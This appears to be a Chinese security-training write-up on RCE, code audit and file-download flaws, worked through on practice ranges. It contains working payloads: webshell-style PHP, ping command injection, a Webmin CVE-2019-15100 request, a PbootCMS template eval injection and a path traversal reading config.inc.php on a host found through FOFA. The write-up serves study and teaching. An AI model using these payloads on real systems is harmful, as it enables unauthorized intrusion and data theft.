一、RCE漏洞
所谓RCE漏洞,即Remote Code/Command Execution,远程代码执⾏ 和**远程命令执⾏**漏洞。
在很多Web应⽤中,开发⼈员会使⽤⼀些函数,这些函数以⼀些字符串作为输⼊,功能是将输⼊的字符串当作代码或者命令来进⾏执⾏。当⽤户可以控制这些函数的输⼊时,就产⽣了RCE漏洞。
RCE漏洞是⾮常严重的安全漏洞,⼀旦出现,就意味着攻击者可以获取服务器的命令执⾏权限,从⽽对服务器安全造成极⼤的影响。
(一)远程代码执行
案例
1.php
<?php
$code=$_GET['x'];
eval($code);
?>
访问:http://127.0.0.1/1.php?x=phpinfo();
把代码传入x
(二)远程命令执行
案例
2.php
<?php
$code=$_GET['x'];
echo system($code);
?>
访问:http://127.0.0.1/2.php?x=ipconfig
把命令传入x
二、靶场训练(墨者学院在线靶场)
(一)命令注入执行分析
某单位IT运维人员为了方便,在服务器上留了一个页面,用来ping内部服务器连通情况。安全工程师"墨者"在做月度检查时发现了这一文件,检查发现这一文件存在漏洞,要求运维人员立刻下线。

思路一
ping一下自己127.0.0.1发现ping的通但是没什么实际意义
F12查看一下进行简单的信息收集

发现Serve是apache2.4.7(Ubuntu)
再简单试一下127.0.0.1 | ls 发现做了拦截不可用。
打开bp抓包,先输入127.0.0.1去ping,然后从bp重放器中进行修改,修改为127.0.0.1 | ls。
得到响应


发现关键key_13320321422314.php
再去重试
127.0.0.1|cat<key_13320321422314.php 重定向

成功!

思路二
直接禁用前端JS
输入127.0.0.1| ls ping一下,直接就出现了key
然后再接重定向127.0.0.1|cat<key_13320321422314.php
(二)PHP代码分析溯源
所谓的代码分析溯源就是代码审计
小明收到一个网址,打开后是一串加密的代码。小明需要你们的帮助,感受到时代在召唤了吗?

思路
选中该部分可以右键查看该部分源代码
<center>
<br><br><br><br><br><br><br>-------------当前页面源码----key在根目录------------------<br><br><?php<br>eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));<br>?> </center>
并没有什么发现
将提示的语句拷贝进行测试
<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
原来是eval执行,改为print打印输出,给&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&加双引号保证打印语法正确变为
<?php
print(gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&")));
?>
访问后得到
echo `$_REQUEST[a]`;; ?>
这个语句就等同于
echo `$_GET POST[a]`;; ?>
另外还有一点,`` 表示的是执行。''表示的是普通的打印
这样的话我们就可以向a传入命令,再次进行测试
f.php
index.html
key_20055191493408.php
static

直接重定向key
http://182.44.114.36:46982/f.php?a=cat%3Ckey_20055191493408.php
但是发现页面什么也没有,再看一下源代码
发现有变化
<?php
/*
mozhea9c8b0ccb5a59847fbc05c40ea1*/
?>
(三)公开漏洞
Webmin未经身份验证的远程代码执行
Webmin是用于类似Unix的系统的基于Web的系统配置工具,具有web页面。该漏洞存在于密码重置页面中,该页面允许未经身份验证的用户通过简单的POST请求执行任意命令。

访问靶场后看到这样一个页面,极具欺骗性。
点击高级添加例外获取证书,然后进入登录界面。直接bp抓包。


直接发到重放器测试
POST /session_login.cgi HTTP/1.1
将这句话替换为(固定公式上):
POST /password_change.cgi HTTP/1.1
这个请求行对应的是Webmin/Usermin 远程命令执行漏洞(CVE-2019-15100)
/password_change.cgi 是 Webmin/Usermin 中用于修改密码的 CGI 脚本路径。
该脚本在处理旧密码、新密码等参数时,未对用户输入做严格过滤,直接将参数拼接到系统命令中执行,导致管道符 |、分号 ; 等可注入任意系统命令。
Host: 182.44.114.36:46989
Cookie: redirect=1; testing=1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: https://182.44.114.36:46989
Referer: https://182.44.114.36:46989/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
user=dfasdf&pass=12345
讲这句话替换为(固定公式下):
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
这是一段典型的命令注入(Command Injection)攻击载荷,常见于 Web 请求参数中,意图绕过校验执行系统命令。
核心恶意部分:old=test|id
管道符 | 会截断原有命令,并额外执行系统命令 id,用于获取当前运行服务的用户身份信息(UID/GID/ 用户名等)。
完整攻击请求结构
POST /password_change.cgi HTTP/1.1
...
...
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

但是到这一步页面渲染中看到了id,但是Raw中并没有key的相关信息,前面的语句忽略了根目录,再次修改测试
user=rootxx&pam=&expired=2&old=test|ls /&new1=test2&new2=test2

这次找到了key.txt
再次组装语法
user=rootxx&pam=&expired=2&old=test|cat /key.txt&new1=test2&new2=test2
成功

<center><h3>Failed to change password : The current password is incorrectmozheaf9f7ed7e5d9f67b3e39d4a2ddb</h3></center>
三、代码审计
(一)靶场搭建

看到留言板块,是一个很好地漏洞测试点
注入
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
然后衔接火狐渗透版拿下
http://localhost/pboot/index.php/about/10.html
Post data
1=phpinfo();
(二)思路
代码审计工具里找一下类似eval的函数,先搜索eval。发现真的有
eval() 会把字符串直接当作 PHP 代码执行 ,是代码执行漏洞的第一重风险点。99% 的业务场景都不需要 eval,能不用就不用
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
代码中 $matches[1][$i] 是外部可控输入 ($matches 几乎都来自正则匹配用户的 $_GET/$_POST/$_COOKIE 等输入数据),没有任何过滤、转义、校验 就直接拼接到 eval 字符串中。
在留言板块的URL中我们发现http://127.0.0.1/PbootCMS/index.php/about/10.html这样一条路径
然后在靶场文件夹中搜索about发现AboutController.php这样一个文件。
到这一步我们就获取了两个关键信息了AboutController、eval
于是就可以用自己的if语句代替它原来的if,于是就得到了之前的
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
四、文件下载漏洞(补充)
(一)靶场搭建
FOFA找一个pikachu靶场,文件下载练习模块

(二)思路
右键可以选择查看一下
图片的下载链接:http://47.100.232.137/vul/unsafedownload/execdownload.php?filename=kb.png
图片本身的地址:http://47.100.232.137/vul/unsafedownload/download/kb.png
可以看到这两个是不一样的
这时候可以测试http://47.100.232.137/vul/unsafedownload/download/发现进到了图片的上级目录
在下载链接中猜测这个execdownload.php可能是个下载器
根据平时用的pikachu靶场的目录习惯猜测位置http://47.100.232.137/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

../../../等号后这三部分,分别从前到后对应47.100.232.137/vul/unsafedownload/,也就是先要从unsafedownload一直退回到根目录,然后再进入Inc一直到拿到config。